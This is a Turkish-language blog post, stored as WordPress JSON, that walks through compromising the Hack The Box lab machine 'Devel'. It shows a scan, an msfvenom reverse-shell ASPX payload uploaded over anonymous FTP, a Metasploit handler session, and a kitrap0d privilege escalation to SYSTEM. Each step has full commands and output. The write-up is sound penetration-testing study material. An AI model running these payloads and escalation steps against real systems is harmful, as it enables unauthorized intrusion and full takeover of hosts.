{"id":1414,"date":"2021-07-27T19:24:01","date_gmt":"2021-07-27T19:24:01","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1414"},"modified":"2022-06-11T09:11:22","modified_gmt":"2022-06-11T09:11:22","slug":"devel","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/27\/devel\/","title":{"rendered":"Devel"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Devel<\/a> - HTB<\/td>\nKolay<\/td>\nWindows<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

Nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-27 12:54 EDT\nNmap scan report for 10.10.10.5\nHost is up (0.071s latency).\nNot shown: 65533 filtered ports\nPORT   STATE SERVICE VERSION\n21\/tcp open  ftp     Microsoft ftpd\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| 03-18-17  02:06AM       <DIR>          aspnet_client\n| 03-17-17  05:37PM                  689 iisstart.htm\n|_03-17-17  05:37PM               184946 welcome.png\n| ftp-syst: \n|_  SYST: Windows_NT\n80\/tcp open  http    Microsoft IIS httpd 7.5\n| http-methods: \n|_  Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS\/7.5\n|_http-title: IIS7\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: phone|general purpose|specialized\nRunning (JUST GUESSING): Microsoft Windows Phone|2008|8.1|Vista|7 (90%)\nOS CPE: cpe:\/o:microsoft:windows cpe:\/o:microsoft:windows_server_2008:r2 cpe:\/o:microsoft:windows_8.1 cpe:\/o:microsoft:windows_8 cpe:\/o:microsoft:windows_vista::- cpe:\/o:microsoft:windows_vista::sp1 cpe:\/o:microsoft:windows_7\nAggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows Embedded Standard 7 (88%), Microsoft Windows 8.1 Update 1 (88%), Microsoft Windows 7 or Windows Server 2008 R2 (88%), Microsoft Windows Server 2008 (88%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT      ADDRESS\n1   71.67 ms 10.10.14.1\n2   71.61 ms 10.10.10.5\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 122.28 seconds\n<\/code><\/pre>\n
G\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere FTP anonymous login aktif. Ayn\u0131 zamanda i\u00e7eride yazma hakk\u0131m\u0131zda var bu y\u00fczden hemen kendime bir reverse aspx dosyas\u0131 olu\u015fturdum.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Devel]\n\u2514\u2500# msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx >reverse.aspx\n[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder specified, outputting raw payload\nPayload size: 354 bytes\nFinal size of aspx file: 2878 bytes\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Devel]\n\u2514\u2500# ls\nreverse.aspx<\/code><\/pre>\n
Daha sonra bu dosyay\u0131 sunucuya ftp ile yollad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Devel]\n\u2514\u2500# ftp 10.10.10.5\nConnected to 10.10.10.5.\n220 Microsoft FTP Service\nName (10.10.10.5:kali): anonymous\n331 Anonymous access allowed, send identity (e-mail name) as password.\nPassword:\n230 User logged in.\nRemote system type is Windows_NT.\nftp> ls\n200 PORT command successful.\n125 Data connection already open; Transfer starting.\n03-18-17  02:06AM       <DIR>          aspnet_client\n03-17-17  05:37PM                  689 iisstart.htm\n03-17-17  05:37PM               184946 welcome.png\n226 Transfer complete.\nftp> put reverse.aspx \nlocal: reverse.aspx remote: reverse.aspx\n200 PORT command successful.\n125 Data connection already open; Transfer starting.\n226 Transfer complete.\n2915 bytes sent in 0.00 secs (17.1603 MB\/s)\n<\/code><\/pre>\n
Hedef sunucuda dosyay\u0131 taray\u0131c\u0131dan tetitledi\u011fimde meterpreter session'\u0131m ba\u015flad\u0131.<\/p>\n
msf6 > use exploit\/multi\/handler \n[*] Using configured payload generic\/shell_reverse_tcp\nmsf6 exploit(multi\/handler) > set payload windows\/meterpreter\/reverse_tcp\npayload => windows\/meterpreter\/reverse_tcp\nmsf6 exploit(multi\/handler) > show options \n\nModule options (exploit\/multi\/handler):\n\n   Name  Current Setting  Required  Description\n   ----  ---------------  --------  -----------\n\nPayload options (windows\/meterpreter\/reverse_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\n   LHOST                      yes       The listen address (an interface may be specified)\n   LPORT     4444             yes       The listen port\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Wildcard Target\n\nmsf6 exploit(multi\/handler) > set lhost 10.10.14.12\nlhost => 10.10.14.12\nmsf6 exploit(multi\/handler) > exploit \n\n[*] Started reverse TCP handler on 10.10.14.12:4444 \n[*] Sending stage (175174 bytes) to 10.10.10.5\n[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.5:49157) at 2021-07-27 14:42:20 -0400\n\nmeterpreter > sysinfo\nComputer        : DEVEL\nOS              : Windows 7 (6.1 Build 7600).\nArchitecture    : x86\nSystem Language : el_GR\nDomain          : HTB\nLogged On Users : 0\nMeterpreter     : x86\/windows\n<\/code><\/pre>\n
Bu esnadan sonra post explotion yapt\u0131m ve a\u015fa\u011f\u0131daki sonu\u00e7lar\u0131 elde ettim. Makine eski oldu\u011fundan dolay\u0131 hak y\u00fckseltmek kolay olacakt\u0131.<\/p>\n
meterpreter > run post\/multi\/recon\/local_exploit_suggester \n\n[*] 10.10.10.5 - Collecting local exploits for x86\/windows...\n[*] 10.10.10.5 - 38 exploit checks are being tried...\n[+] 10.10.10.5 - exploit\/windows\/local\/bypassuac_eventvwr: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms10_015_kitrap0d: The service is running, but could not be validated.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms10_092_schelevator: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms13_053_schlamperei: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms13_081_track_popup_menu: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms14_058_track_popup_menu: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms15_004_tswbproxy: The service is running, but could not be validated.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms15_051_client_copy_image: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms16_016_webdav: The service is running, but could not be validated.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.\n[+] 10.10.10.5 - exploit\/windows\/local\/ms16_075_reflection: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ntusermndragover: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/ppr_flatten_rec: The target appears to be vulnerable.\n[+] 10.10.10.5 - exploit\/windows\/local\/tokenmagic: The target appears to be vulnerable.<\/code><\/pre>\n
Yeni bir session ba\u015flatt\u0131m ve exploitleri teker teker denemeye ba\u015flad\u0131m. exploit\/windows\/local\/bypassuac_eventvwr<\/strong> exploitini denedi\u011fimde makine crash oldu. Ancak...<\/p>\n
meterpreter > sessions 2\n[*] Backgrounding session 1...\n[-] Invalid session identifier: 2\nmsf6 exploit(multi\/handler) > use exploit\/windows\/local\/ms10_015_kitrap0d\n[*] No payload configured, defaulting to windows\/meterpreter\/reverse_tcp\nmsf6 exploit(windows\/local\/ms10_015_kitrap0d) > set session 1\nsession => 1\nmsf6 exploit(windows\/local\/ms10_015_kitrap0d) > show options \n\nModule options (exploit\/windows\/local\/ms10_015_kitrap0d):\n\n   Name     Current Setting  Required  Description\n   ----     ---------------  --------  -----------\n   SESSION  1                yes       The session to run this module on.\n\nPayload options (windows\/meterpreter\/reverse_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\n   LHOST     192.168.6.131    yes       The listen address (an interface may be specified)\n   LPORT     4444             yes       The listen port\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Windows 2K SP4 - Windows 7 (x86)\n\nmsf6 exploit(windows\/local\/ms10_015_kitrap0d) > set lhost 10.10.14.12\nlhost => 10.10.14.12\nmsf6 exploit(windows\/local\/ms10_015_kitrap0d) > set lport 4443\nlport => 4443\nmsf6 exploit(windows\/local\/ms10_015_kitrap0d) > exploit \n\n[*] Started reverse TCP handler on 10.10.14.12:4443 \n[*] Launching notepad to host the exploit...\n[+] Process 1704 launched.\n[*] Reflectively injecting the exploit DLL into 1704...\n[*] Injecting exploit into 1704 ...\n[*] Exploit injected. Injecting payload into 1704...\n[*] Payload injected. Executing exploit...\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\n[*] Sending stage (175174 bytes) to 10.10.10.5\n[*] Meterpreter session 2 opened (10.10.14.12:4443 -> 10.10.10.5:49158) at 2021-07-27 15:07:58 -0400\n\nmeterpreter > getuid\nServer username: NT AUTHORITY\\SYSTEM\n<\/code><\/pre>\n
Hak y\u00fckselttim ve flagleri okudum.<\/p>\n
meterpreter > cd Desktop \nmeterpreter > ls\nListing: c:\\Users\\babis\\Desktop\n===============================\n\nMode              Size  Type  Last modified              Name\n----              ----  ----  -------------              ----\n100666\/rw-rw-rw-  282   fil   2017-03-17 10:17:51 -0400  desktop.ini\n100444\/r--r--r--  32    fil   2017-03-17 19:14:21 -0400  user.txt.txt\n\nmeterpreter > cat user.txt.txt \n9ecdd**************************\nmeterpreter<\/code><\/pre>\n
Listing: c:\\Users\\Administrator\\Desktop\n=======================================\n\nMode              Size  Type  Last modified              Name\n----              ----  ----  -------------              ----\n100666\/rw-rw-rw-  282   fil   2017-03-17 19:16:53 -0400  desktop.ini\n100444\/r--r--r--  32    fil   2017-03-17 19:17:20 -0400  root.txt\n\nmeterpreter > cat root.txt \ne621***************************\nmeterpreter > <\/code><\/pre>\n
Not: \u00d6zellikle hak y\u00fckseltme k\u0131sm\u0131nda https:\/\/www.exploit-db.com\/docs\/turkish\/42757-[turkish]-windows-and-linux-privilege-escalation.pdf<\/a> ba\u011flant\u0131s\u0131n\u0131 okuman\u0131z\u0131 tavsiye ederim.<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Devel – HTB Kolay Windows Walkthrough Nmap taramas\u0131 ile ba\u015flayal\u0131m. Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-27 12:54 EDT…<\/p>\n
Devam\u0131n\u0131 okuDevel<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498,468],"tags":[576],"class_list":["post-1414","post","type-post","status-publish","format-standard","hentry","category-walkthrough","category-windows","tag-local-exploit-suggester","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1414"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1414\/revisions"}],"predecessor-version":[{"id":1887,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1414\/revisions\/1887"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}